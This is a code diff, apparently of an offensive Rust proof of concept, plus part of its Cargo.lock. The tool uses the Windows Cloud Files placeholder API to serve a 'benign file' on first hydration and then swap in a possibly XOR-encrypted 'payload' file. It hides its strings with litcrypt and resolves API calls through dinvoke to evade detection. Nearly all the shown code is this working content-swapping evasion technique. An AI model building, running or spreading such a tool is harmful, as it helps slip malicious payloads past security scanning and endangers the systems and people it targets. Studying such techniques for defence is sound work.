|
||||
operation_info_parameters.anonymous.transfer_placeholders.entries_processed = 1;
|
||||
|
||||
|
||||
if matches {
|
||||
let mut placeholder_create: CfPlaceholderCreateInfo = std::mem::zeroed();
|
||||
placeholder_create.relative_file_name = placeholder_wide.as_mut_ptr();
|
||||
placeholder_create.fs_metadata.basic_info.file_attributes = FILE_ATTRIBUTE_ARCHIVE;
|
||||
placeholder_create.fs_metadata.file_size = get_current_backing_content_len() as _;
|
||||
// file_identity is supposed to be an unique placeholder identifier
|
||||
let mut identity_bytes = format!("sync:{}", placeholder).into_bytes();
|
||||
placeholder_create.file_identity = identity_bytes.as_mut_ptr() as *mut _;
|
||||
placeholder_create.file_identity_length = identity_bytes.len() as _;
|
||||
placeholder_create.flags = CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
|
||||
operation_info_parameters.anonymous.transfer_placeholders.placeholder_array = &mut placeholder_create;
|
||||
operation_info_parameters.anonymous.transfer_placeholders.placeholder_count = 1;
|
||||
cf_execute(&op_info, &mut operation_info_parameters);
|
||||
} else {
|
||||
operation_info_parameters.anonymous.transfer_placeholders.placeholder_array = ptr::null_mut();
|
||||
operation_info_parameters.anonymous.transfer_placeholders.placeholder_count = 0;
|
||||
cf_execute(&op_info, &mut operation_info_parameters);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn fetch_data(callbackinfo: *const CfCallbackInfo, callbackparameters: *const CF_CALLBACK_PARAMETERS)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
println!("\n{}",&lc!("[-] Fetch Data operation received:"));
|
||||
let required_offset = (*callbackparameters).Anonymous.FetchData.RequiredFileOffset;
|
||||
let required_length = (*callbackparameters).Anonymous.FetchData.RequiredLength;
|
||||
let send_length;
|
||||
|
||||
if required_offset >= get_placeholder_size() as _ {
|
||||
send_length = 0;
|
||||
} else {
|
||||
let max_len = get_placeholder_size() - required_offset as usize;
|
||||
send_length = max_len.min(required_length as _);
|
||||
}
|
||||
|
||||
println!("{}{}",&lc!("[-] Required offset: "), required_offset);
|
||||
println!("{}{}",&lc!("[-] Required length: "), required_length);
|
||||
println!("{}{}",&lc!("[-] Bytes to send: "), send_length);
|
||||
|
||||
if (*callbackinfo).process_info != ptr::null_mut() {
|
||||
let image_path = dinvoke_rs::utils::pwstr_to_string((*(*callbackinfo).process_info).image_path);
|
||||
let command_line = dinvoke_rs::utils::pwstr_to_string((*(*callbackinfo).process_info).command_line);
|
||||
let pid = (*(*callbackinfo).process_info).process_id.to_string();
|
||||
|
||||
println!("{}{}{}{}", &lc!("[-] Process command line: '"), if command_line.is_empty() { &image_path } else { &command_line }, &lc!("' --- PID: "), pid);
|
||||
}
|
||||
|
||||
let mut op_info: CfOperationInfo = std::mem::zeroed();
|
||||
op_info.struct_size = size_of::<CfOperationInfo>() as _;
|
||||
op_info.op_type = CF_OPERATION_TYPE_TRANSFER_DATA;
|
||||
op_info.connection_key = (*callbackinfo).connection_key; // These two are checked in the kernel callback, so they are required for this operation to work
|
||||
op_info.transfer_key = (*callbackinfo).transfer_key;
|
||||
op_info.correlation_vector = (*callbackinfo).correlation_vector as _;
|
||||
op_info.sync_status = ptr::null();
|
||||
op_info.request_key = 0; // (*callbackinfo).request_key; -> This is not needed at all, the request key is not checked in the transfer data callback
|
||||
|
||||
let mut operation_info_parameters: CfOperationParameters = std::mem::zeroed();
|
||||
operation_info_parameters.param_size = size_of::<CfOperationParameters>() as _;
|
||||
operation_info_parameters.anonymous.transfer_data.offset = required_offset;
|
||||
|
||||
let mut buffer = vec![0u8;send_length as usize];
|
||||
if send_length > 0
|
||||
{
|
||||
let start = required_offset as usize;
|
||||
let end = start + send_length as usize;
|
||||
let backing_content = get_current_backing_content();
|
||||
|
||||
// I think all of this is unnecessary due to the flag CF_HYDRATION_POLICY_FULL that should cause that any fetch data operation always ask for the
|
||||
// full content of the placeholder, but w/e, just in case the file content is asked by chunks
|
||||
if start < get_current_backing_content_len() as _ {
|
||||
let max_end = end.min(get_current_backing_content_len() as _);
|
||||
let real_end = (max_end - start).max(0);
|
||||
if real_end > 0 {
|
||||
buffer[0..real_end].copy_from_slice(&backing_content[start..max_end]);
|
||||
}
|
||||
}
|
||||
|
||||
operation_info_parameters.anonymous.transfer_data.buffer = buffer.as_mut_ptr() as _;
|
||||
operation_info_parameters.anonymous.transfer_data.length = send_length as _;
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = 0; // STATUS_SUCCESS
|
||||
} else {
|
||||
operation_info_parameters.anonymous.transfer_data.buffer = ptr::null_mut();
|
||||
operation_info_parameters.anonymous.transfer_data.length = 0;
|
||||
if required_offset >= get_placeholder_size() as _ {
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = STATUS_END_OF_FILE;
|
||||
} else {
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = 0; // STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
let ret = cf_execute(&op_info, &mut operation_info_parameters);
|
||||
if ret != 0 {
|
||||
println!("{}{:x}", &lc!("[x] Hydration process failed. HRESULT: "), ret);
|
||||
} else {
|
||||
if is_mode_2()
|
||||
{
|
||||
let placeholder_path = format!("{}\\{}", sync_root(), placeholder_name());
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
print_menu();
|
||||
return;
|
||||
}
|
||||
|
||||
let function: CfOpenFileWithOplock;
|
||||
let ret: Option<u32>;
|
||||
let handle = HANDLE::default();
|
||||
let protected_handle = std::mem::transmute(&handle);
|
||||
let mut path: Vec<u16> = placeholder_path.encode_utf16().collect();
|
||||
path.push(0);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!( // The oplock seems mandatory when we want to hydrate the placeholder proactively -> Without it, the operation fails
|
||||
cloud_api_dll,
|
||||
&lc!("CfOpenFileWithOplock"),
|
||||
function,
|
||||
ret,
|
||||
path.as_mut_ptr(),
|
||||
0,
|
||||
protected_handle,
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfOpenFileWithOplock failed. HRESULT: "), ret.unwrap());
|
||||
print_menu();
|
||||
return;
|
||||
}
|
||||
|
||||
toggle_placeholder_index();
|
||||
|
||||
println!("{}", lc!("[-] Waiting 10 seconds before second hydration..."));
|
||||
|
||||
// A few seconds delay is recommended -> otherwise, the second hydration could fail
|
||||
use std::{thread, time};
|
||||
let ten_millis = time::Duration::from_millis(10000);
|
||||
thread::sleep(ten_millis);
|
||||
|
||||
fetch_data_2(callbackinfo, callbackparameters); // This is sort of an overkill, but w/e, just a poc (I'm lazy hehe)
|
||||
cf_close_handle(*protected_handle);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
print_menu();
|
||||
}
|
||||
}
|
||||
|
||||
fn fetch_data_2(callbackinfo: *const CfCallbackInfo, callbackparameters: *const CF_CALLBACK_PARAMETERS)
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
println!("{}",&lc!("[-] Starting second rehydration!"));
|
||||
let required_offset = (*callbackparameters).Anonymous.FetchData.RequiredFileOffset;
|
||||
let required_length = (*callbackparameters).Anonymous.FetchData.RequiredLength;
|
||||
let send_length;
|
||||
|
||||
if required_offset >= get_placeholder_size() as _ {
|
||||
send_length = 0;
|
||||
} else {
|
||||
let max_len = get_placeholder_size() - required_offset as usize;
|
||||
send_length = max_len.min(required_length as _);
|
||||
}
|
||||
|
||||
let mut op_info: CfOperationInfo = std::mem::zeroed();
|
||||
op_info.struct_size = size_of::<CfOperationInfo>() as _;
|
||||
op_info.op_type = CF_OPERATION_TYPE_TRANSFER_DATA;
|
||||
op_info.connection_key = (*callbackinfo).connection_key; // These two are checked at the kernel callback, so they are required for this operation to work
|
||||
op_info.transfer_key = (*callbackinfo).transfer_key;
|
||||
op_info.correlation_vector = (*callbackinfo).correlation_vector as _;
|
||||
op_info.sync_status = ptr::null();
|
||||
op_info.request_key = (*callbackinfo).request_key; // unnecessary
|
||||
|
||||
let mut operation_info_parameters: CfOperationParameters = std::mem::zeroed();
|
||||
operation_info_parameters.param_size = size_of::<CfOperationParameters>() as _;
|
||||
operation_info_parameters.anonymous.transfer_data.offset = required_offset;
|
||||
|
||||
let mut buffer = vec![0u8;send_length as usize];
|
||||
if send_length > 0
|
||||
{
|
||||
let start = required_offset as usize;
|
||||
let end = start + send_length as usize;
|
||||
let backing_content = get_current_backing_content();
|
||||
|
||||
// I think all of this is unnecessary due to the flag CF_HYDRATION_POLICY_FULL that should cause that any fetch data operation always ask for the
|
||||
// full content of the placeholder, but w/e, just in case the file content is asked by chunks
|
||||
if start < get_current_backing_content_len() as _ {
|
||||
let max_end = end.min(get_current_backing_content_len() as _);
|
||||
let real_end = (max_end - start).max(0);
|
||||
if real_end > 0 {
|
||||
buffer[0..real_end].copy_from_slice(&backing_content[start..max_end]);
|
||||
}
|
||||
}
|
||||
|
||||
operation_info_parameters.anonymous.transfer_data.buffer = buffer.as_mut_ptr() as _;
|
||||
operation_info_parameters.anonymous.transfer_data.length = send_length as _;
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = 0; // STATUS_SUCCESS
|
||||
} else {
|
||||
operation_info_parameters.anonymous.transfer_data.buffer = ptr::null_mut();
|
||||
operation_info_parameters.anonymous.transfer_data.length = 0;
|
||||
if required_offset >= get_placeholder_size() as _ {
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = STATUS_END_OF_FILE;
|
||||
} else {
|
||||
operation_info_parameters.anonymous.transfer_data.completion_status = 0; // STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
let ret = cf_execute(&op_info, &mut operation_info_parameters);
|
||||
if ret != 0 {
|
||||
println!("{}{:x}", &lc!("[x] Rehydration failed. HRESULT: "), ret);
|
||||
} else {
|
||||
println!("{}", &lc!("[+] Process completed!"));
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
pub fn dehydrate_file()
|
||||
{
|
||||
unsafe
|
||||
{
|
||||
let placeholder_path = format!("{}\\{}", sync_root(), placeholder_name());
|
||||
let cloud_api_dll = dinvoke_rs::dinvoke::load_library_a(&lc!("CldApi.dll"));
|
||||
if cloud_api_dll == 0 {
|
||||
println!("{}", lc!("[x] DLL CldApi.dll not found."));
|
||||
return;
|
||||
}
|
||||
|
||||
let function: CfOpenFileWithOplock;
|
||||
let ret: Option<u32>;
|
||||
let handle = HANDLE::default();
|
||||
let protected_handle = std::mem::transmute(&handle);
|
||||
let mut path: Vec<u16> = placeholder_path.encode_utf16().collect();
|
||||
path.push(0);
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfOpenFileWithOplock"),
|
||||
function,
|
||||
ret,
|
||||
path.as_mut_ptr(),
|
||||
0,
|
||||
protected_handle,
|
||||
);
|
||||
|
||||
if ret.unwrap() != 0 {
|
||||
println!("{}{:x}", lc!("[x] Call to CfOpenFileWithOplock failed. HRESULT: "), ret.unwrap());
|
||||
return;
|
||||
}
|
||||
|
||||
let function: CfGetWin32HandleFromProtectedHandle;
|
||||
let ret: Option<HANDLE>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfGetWin32HandleFromProtectedHandle"),
|
||||
function,
|
||||
ret,
|
||||
*protected_handle,
|
||||
);
|
||||
|
||||
let file_handle = ret.unwrap();
|
||||
|
||||
let function: CfDehydratePlaceholder;
|
||||
let ret: Option<u32>;
|
||||
dinvoke_rs::dinvoke::dynamic_invoke!(
|
||||
cloud_api_dll,
|
||||
&lc!("CfDehydratePlaceholder"),
|
||||
function,
|
||||
ret,
|
||||
file_handle,
|
||||
0,
|
||||
-1, // EOF
|
||||
0, // CF_DEHYDRATE_FLAG_NONE
|
||||
ptr::null_mut()
|
||||
);
|
||||
|
||||
println!("{}{:x}", &lc!("[-] Call to CfDehydratePlaceholder returned: "), ret.unwrap());
|
||||
|
||||
cf_release_protected_handle(file_handle);
|
||||
cf_close_handle(*protected_handle);
|
||||
|
||||
toggle_placeholder_index();
|
||||
}
|
||||
}
|
||||
|
||||
fn xor_decrypt_to_vec(data: &[u8], key: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::with_capacity(data.len());
|
||||
for (i, &b) in data.iter().enumerate() {
|
||||
out.push(b ^ key[i % key.len()]);
|
||||
}
|
||||
out
|
||||
}
|
||||
|
||||
pub fn print_menu()
|
||||
{
|
||||
println!("{}", &lc!("-----------------------------------------------------"));
|
||||
println!("{}", &lc!("[**] Select an option [**]"));
|
||||
println!("{}", &lc!("1) Dehydrate Placeholder"));
|
||||
println!("{}", &lc!("2) Unsync and Exit"));
|
||||
print!("> ");
|
||||
io::stdout().flush().unwrap();
|
||||
}
|
||||
|
||||
@@ -0,0 +1,113 @@
|
||||
use litcrypt2::{use_litcrypt, lc};
|
||||
use_litcrypt!();
|
||||
|
||||
use std::{fs, io::{self, Write}};
|
||||
use provider::{connect_to_sync_root, create_placeholder, dehydrate_file, disconnect_from_sync_root, print_menu, register_sync_root, set_constants, set_provider_status_idle, unregister_sync_root};
|
||||
|
||||
fn main() {
|
||||
let (sync_root_directory, backing_file_1, backing_file_2, placeholder_name, key, mode) = ask_user_input();
|
||||
|
||||
let backing_file_1_content = fs::read(&backing_file_1);
|
||||
if backing_file_1_content.is_err() {
|
||||
println!("[x] {}{}", lc!("Error reading the contents of the file "), backing_file_1);
|
||||
return;
|
||||
}
|
||||
|
||||
let backing_file_2_content = fs::read(&backing_file_2);
|
||||
if backing_file_2_content.is_err() {
|
||||
println!("[x] {}{}", lc!("Error reading the contents of the file "), backing_file_2);
|
||||
return;
|
||||
}
|
||||
|
||||
set_constants(sync_root_directory, placeholder_name, backing_file_1_content.unwrap(), backing_file_2_content.unwrap(), key, mode.parse().unwrap());
|
||||
|
||||
if !register_sync_root() {
|
||||
return;
|
||||
}
|
||||
|
||||
let connection_key = connect_to_sync_root();
|
||||
if connection_key == 0 {
|
||||
unregister_sync_root();
|
||||
return;
|
||||
}
|
||||
|
||||
if !create_placeholder() {
|
||||
unregister_sync_root();
|
||||
disconnect_from_sync_root(connection_key);
|
||||
return;
|
||||
}
|
||||
|
||||
if !set_provider_status_idle(connection_key) {
|
||||
unregister_sync_root();
|
||||
disconnect_from_sync_root(connection_key);
|
||||
return;
|
||||
}
|
||||
|
||||
menu_loop();
|
||||
|
||||
disconnect_from_sync_root(connection_key);
|
||||
unregister_sync_root();
|
||||
|
||||
}
|
||||
|
||||
fn ask_user_input() -> (String, String, String, String, String, String)
|
||||
{
|
||||
let mut s1 = String::new();
|
||||
let mut s2 = String::new();
|
||||
let mut s3 = String::new();
|
||||
let mut s4 = String::new();
|
||||
let mut s5 = String::new();
|
||||
let mut s6 = String::new();
|
||||
|
||||
print!("{}", &lc!("Sync root directory: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s1).unwrap();
|
||||
|
||||
print!("{}", &lc!("Backing file 1 (benign file): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s2).unwrap();
|
||||
|
||||
print!("{}", &lc!("Backing file 2 (payload): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s3).unwrap();
|
||||
|
||||
print!("{}", &lc!("Placeholder name: "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s4).unwrap();
|
||||
|
||||
print!("{}", &lc!("Decryption key (empty = unencrypted payload): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s5).unwrap();
|
||||
|
||||
print!("{}", &lc!("Select mode (1 or 2): "));
|
||||
io::stdout().flush().unwrap();
|
||||
io::stdin().read_line(&mut s6).unwrap();
|
||||
|
||||
|
||||
(
|
||||
s1.trim().to_string(),
|
||||
s2.trim().to_string(),
|
||||
s3.trim().to_string(),
|
||||
s4.trim().to_string(),
|
||||
s5.trim().to_string(),
|
||||
s6.trim().to_string(),
|
||||
)
|
||||
}
|
||||
|
||||
fn menu_loop() {
|
||||
loop
|
||||
{
|
||||
print_menu();
|
||||
|
||||
let mut line = String::new();
|
||||
io::stdin().read_line(&mut line).unwrap();
|
||||
|
||||
match line.trim() {
|
||||
"1" => {
|
||||
dehydrate_file();
|
||||
}
|
||||
"2" => break,
|
||||
_ => println!("{}", &lc!("[x] Invalid option.")),
|
||||
}
|
||||
}
|
||||
}
|
||||
Generated
+805
@@ -0,0 +1,805 @@
|
||||
# This file is automatically @generated by Cargo.
|
||||
# It is not intended for manual editing.
|
||||
version = 4
|
||||
|
||||
[[package]]
|
||||
name = "addr2line"
|
||||
version = "0.25.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1b5d307320b3181d6d7954e663bd7c774a838b8220fe0593c86d9fb09f498b4b"
|
||||
dependencies = [
|
||||
"gimli",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "adler2"
|
||||
version = "2.0.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||
|
||||
[[package]]
|
||||
name = "android_system_properties"
|
||||
version = "0.1.5"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "819e7219dbd41043ac279b19830f2efc897156490d7fd6ea916720117ee66311"
|
||||
dependencies = [
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "backtrace"
|
||||
version = "0.3.76"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bb531853791a215d7c62a30daf0dde835f381ab5de4589cfe7c649d2cbe92bd6"
|
||||
dependencies = [
|
||||
"addr2line",
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"miniz_oxide",
|
||||
"object",
|
||||
"rustc-demangle",
|
||||
"windows-link",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "1.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bef38d45163c2f1dde094a7dfd33ccf595c92905c8f8f4fdc18d06fb1037718a"
|
||||
|
||||
[[package]]
|
||||
name = "bitflags"
|
||||
version = "2.10.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "812e12b5285cc515a9c72a5c1d3b6d46a19dac5acfef5265968c166106e31dd3"
|
||||
|
||||
[[package]]
|
||||
name = "block2"
|
||||
version = "0.6.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "cdeb9d870516001442e364c5220d3574d2da8dc765554b4a617230d33fa58ef5"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cc"
|
||||
version = "1.2.54"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6354c81bbfd62d9cfa9cb3c773c2b7b2a3a482d569de977fd0e961f6e7c00583"
|
||||
dependencies = [
|
||||
"find-msvc-tools",
|
||||
"shlex",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cfg-if"
|
||||
version = "1.0.4"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "9330f8b2ff13f34540b44e946ef35111825727b38d33286ef986142615121801"
|
||||
|
||||
[[package]]
|
||||
name = "cfg_aliases"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "613afe47fcd5fac7ccf1db93babcb082c5994d996f20b8b159f2ad1658eb5724"
|
||||
|
||||
[[package]]
|
||||
name = "data"
|
||||
version = "0.1.0"
|
||||
dependencies = [
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "37ea4847ec0d114fae274a228e2833c86b6a648e1e63d8e4824f8694ddb72c91"
|
||||
dependencies = [
|
||||
"cc",
|
||||
"dinvoke_data",
|
||||
"libc",
|
||||
"litcrypt2",
|
||||
"nanorand",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_data"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2ecf41e5fa8fc817a311b14a987da022bd09a048f27f039a6073241e514b6d81"
|
||||
dependencies = [
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_overload"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "502bb57c39f39fc65ae58e4351013ef4cc9d29a0be245ac3d24b3b887f026636"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"windows",
|
||||
"winproc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_rs"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ef4776f5b9e5d43bc5f897863bc9227979563a05a6cfdd05bc2a94e3cc510a7e"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"dinvoke_utils",
|
||||
"dmanager",
|
||||
"manualmap",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dinvoke_utils"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "00c00029449d76f9db4104b2eb1ec122fb9127051803f567cd108e0c0d729719"
|
||||
dependencies = [
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dispatch2"
|
||||
version = "0.3.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "89a09f22a6c6069a18470eb92d2298acf25463f14256d24778e1230d789a2aec"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dmanager"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "45e10972b361f6a0750f6767323e65030282429bb7b8a74f58af8a2a2708e7c3"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"dinvoke_overload",
|
||||
"litcrypt2",
|
||||
"manualmap",
|
||||
"nanorand",
|
||||
"rand",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "d32e9bd16cc02eae7db7ef620b392808b89f6a5e16bb3497d159c6b92a0f4f86"
|
||||
dependencies = [
|
||||
"backtrace",
|
||||
"failure_derive",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "failure_derive"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "aa4da3c766cd7a0db8242e326e9e4e081edd567072893ed320008189715366a4"
|
||||
dependencies = [
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"syn 1.0.109",
|
||||
"synstructure",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "find-msvc-tools"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "8591b0bcc8a98a64310a2fae1bb3e9b8564dd10e381e6e28010fde8e8e8568db"
|
||||
|
||||
[[package]]
|
||||
name = "getrandom"
|
||||
version = "0.2.17"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ff2abc00be7fca6ebc474524697ae276ad847ad0a6b3faa4bcb027e9a4614ad0"
|
||||
dependencies = [
|
||||
"cfg-if",
|
||||
"libc",
|
||||
"wasi",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "gimli"
|
||||
version = "0.32.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e629b9b98ef3dd8afe6ca2bd0f89306cec16d43d907889945bc5d6687f2f13c7"
|
||||
|
||||
[[package]]
|
||||
name = "lazy_static"
|
||||
version = "1.5.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
|
||||
|
||||
[[package]]
|
||||
name = "libc"
|
||||
version = "0.2.180"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "bcc35a38544a891a5f7c865aca548a982ccb3b8650a5b06d0fd33a10283c56fc"
|
||||
|
||||
[[package]]
|
||||
name = "litcrypt2"
|
||||
version = "0.1.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "4126aa57ac1b3dd20a5bc827a2972cdf74c619a4d6ae5660656408289e5bc60d"
|
||||
dependencies = [
|
||||
"lazy_static",
|
||||
"proc-macro2",
|
||||
"quote",
|
||||
"rand",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "log"
|
||||
version = "0.4.29"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
|
||||
|
||||
[[package]]
|
||||
name = "manualmap"
|
||||
version = "0.2.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1ac5a950ad05bc0e1457e094c4787843b351901fe1511af38a6d95912dd157b1"
|
||||
dependencies = [
|
||||
"dinvoke",
|
||||
"dinvoke_data",
|
||||
"litcrypt2",
|
||||
"os_info",
|
||||
"winapi",
|
||||
"windows",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "memchr"
|
||||
version = "2.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "f52b00d39961fc5b2736ea853c9cc86238e165017a493d1d5c8eac6bdc4cc273"
|
||||
|
||||
[[package]]
|
||||
name = "miniz_oxide"
|
||||
version = "0.8.9"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1fa76a2c86f704bdb222d66965fb3d63269ce38518b83cb0575fca855ebb6316"
|
||||
dependencies = [
|
||||
"adler2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "nanorand"
|
||||
version = "0.7.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6a51313c5820b0b02bd422f4b44776fbf47961755c74ce64afc73bfad10226c3"
|
||||
|
||||
[[package]]
|
||||
name = "nix"
|
||||
version = "0.30.1"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"cfg-if",
|
||||
"cfg_aliases",
|
||||
"libc",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2"
|
||||
version = "0.6.3"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "b7c2599ce0ec54857b29ce62166b0ed9b4f6f1a70ccc9a71165b6154caca8c05"
|
||||
dependencies = [
|
||||
"objc2-encode",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-cloud-kit"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "73ad74d880bb43877038da939b7427bba67e9dd42004a18b809ba7d87cee241c"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-data"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "0b402a653efbb5e82ce4df10683b6b28027616a2715e90009947d50b8dd298fa"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-foundation"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "2a180dd8642fa45cdb7dd721cd4c11b1cadd4929ce112ebd8b9f5803cc79d536"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-graphics"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e022c9d066895efa1345f8e33e584b9f958da2fd4cd116792e15e07e4720a807"
|
||||
dependencies = [
|
||||
"bitflags 2.10.0",
|
||||
"dispatch2",
|
||||
"objc2",
|
||||
"objc2-core-foundation",
|
||||
"objc2-io-surface",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-image"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "e5d563b38d2b97209f8e861173de434bd0214cf020e3423a52624cd1d989f006"
|
||||
dependencies = [
|
||||
"objc2",
|
||||
"objc2-foundation",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "objc2-core-location"
|
||||
version = "0.3.2"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
